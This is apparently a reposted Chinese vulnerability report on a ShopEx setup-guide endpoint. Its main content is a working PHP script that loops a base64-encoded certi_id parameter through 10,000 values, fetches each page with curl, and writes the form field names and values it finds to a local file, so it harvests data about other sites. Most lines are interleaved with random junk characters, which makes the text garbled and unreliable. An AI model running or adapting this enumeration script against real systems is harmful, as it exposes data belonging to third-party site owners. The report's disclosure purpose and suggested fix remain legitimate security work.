|
简要描述:
$ }% E# K1 x h; Y& M) x- YShopEx某接口缺陷,可遍历所有网站8 W8 T8 x/ ~, j& x2 c; Q
详细说明:9 H% |4 G# h6 C1 ?+ d
问题出现在shopex 网店使用向导页面
4 p. `# Y4 Q& ~& a
, s: m" k9 a2 `# c w2 _
$ n6 e' @5 b& y, }1 d
; b+ ]* s1 E. Z/ [" \http://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=3 L( a2 F5 J$ u p; G
: c1 ~" _. D* l% p# F* E2 H# q5 S. D& O
( F- m8 S! P# ^6 Q
refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}' A* a( b1 U: S) e0 y$ |
2 ^5 k' O/ ?& U9 {5 M' |* u3 U" y* r' ^3 k. g$ Y$ r0 n
/ `8 H- X1 ~& O- L3 F. v' M0 o. `' M
我们修改certi_id 即可遍历所有使用了ShopEx程序的网站 / T3 a+ \" {0 k& q6 @9 w
4 A, s' N$ ?* k: o
. Z) @$ o$ w" z0 J2 i
% q& a! v' y! W2 ~<?php/ A9 u" C L& F* o
* s. P' r1 Y+ f for ($i=1; $i < 10000; $i++) { //遍历
! M! V8 y% D3 D. U/ {6 G5 ~: m
; ~ E# E. A$ m! W7 K8 H" Q% N1 I8 I ShowshopExD($i);8 Z8 O0 X- l+ u- J
9 n4 T1 L% ~0 ] }7 ~: U: H+ c7 M5 L+ f: N
; g) r$ [: W+ Y& E8 i6 Z function ShowshopExD($cid) {1 M; i. L [: [, o; M: g8 u! o
( E$ T- N: ~/ h& C" x( K3 V( I $url='http://guide.ecos.shopex.cn/step2.php';4 W8 t7 b J" N0 V' u) F% }. Q2 ]
4 o1 t+ I# ^6 n& `; W $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');* k* ~. {3 O2 `1 W, N
$ w! |1 x: ?) g2 G) N+ e- M $url = $url.'?refer='.$refer;# I% x/ G' T- \& W. L. c
6 n5 m6 d( h4 R/ f& o7 v/ c1 e, i $ch = curl_init($url);8 v. F+ b, Y7 ~8 @
( ~# r( V; y0 {! J7 a. o5 |
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;
! T6 v/ p% _5 a( w1 p- L9 J) Y) P' Q+ w& c% @7 V4 y H, i- k8 ~
curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;) Q. h& _8 f4 _
5 b7 R1 G# C. H9 J
$result = curl_exec($ch); g! k/ Q# ^* {9 d0 N9 ?; N
& a! q+ R) n# p A0 N* ~
$result = mb_convert_encoding($result, "gb2312", "UTF-8");
7 Y5 u8 M8 P, _$ y' @7 L, b
# J- G9 s% l2 d( V3 [ if(strpos($result,$refer)): \/ V0 Q# c4 s+ d& J3 Y6 x4 u) ~
7 N+ z$ ~6 d" ]5 b' Q( o) u
{
& ~4 t4 V# a; U
# r) v- J! I/ b# v+ ?5 b) ? $fp = fopen("c:/shopEx.txt",'ab'); //保存文件
( X' w: {# F) G! E
" g! w% |. p6 m& |7 {7 k, o preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);
. ]# T+ J$ ~: M, M& R/ h
4 s# W! o* Z# A* ~& G' }/ m* ?" M foreach ($value[1] as $key) {
! A: l' ^9 o. }+ N, s4 ]" F6 w7 ?: q9 s# j5 A9 c! W* i
preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);
3 I8 @1 j1 h9 S
, y. O2 t1 \# T echo $res[1][0].':'.$res[3][0]."\r\n";( z. a; X- g6 e" U) ^# A9 p
) I- t9 T" |! @# |: C $col =$res[1][0].':'.$res[3][0]."\r\n";
5 b6 }. b7 ?& l( E3 U. ]' f, _6 H& J" v2 c
fwrite($fp, $col, strlen($col));
7 W5 M' y2 g, X; P- O; Z$ X' k5 m) C. I
}
. A" Q+ F) ~* I! M, r* r5 x( d3 ?/ \* g: F$ ~
echo '--------------------------------'."\r\n";! u) W5 j) M/ X! \" j) o
# O& T5 q. ^+ R5 U fclose($fp); ! p, b. o; [' d$ @; U
% v2 O) T' l9 R1 F( r. k9 ?2 r
}
5 K1 _+ D2 V- G' O
. H- R- e% g2 \8 i flush();
# P& C S/ M( }4 i
# O3 `+ g7 }" E0 o8 v6 F curl_close($ch);
3 |+ Z, x5 o0 C0 o
: a3 O5 X: s8 L! Y( E }
! H, E* h8 Q+ ~. o+ ^% z$ V1 t' L; a; D( I8 U( B% p; \" Q; Y
?>; @, G7 ?7 k0 d6 k2 R
漏洞证明:
9 T% H2 `( t! G2 w; R1 t/ Khttp://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
& {/ s9 b1 [. F7 i( ]refer换成其他加密方式# w7 y3 o/ Z2 T# {# c! Q
|
|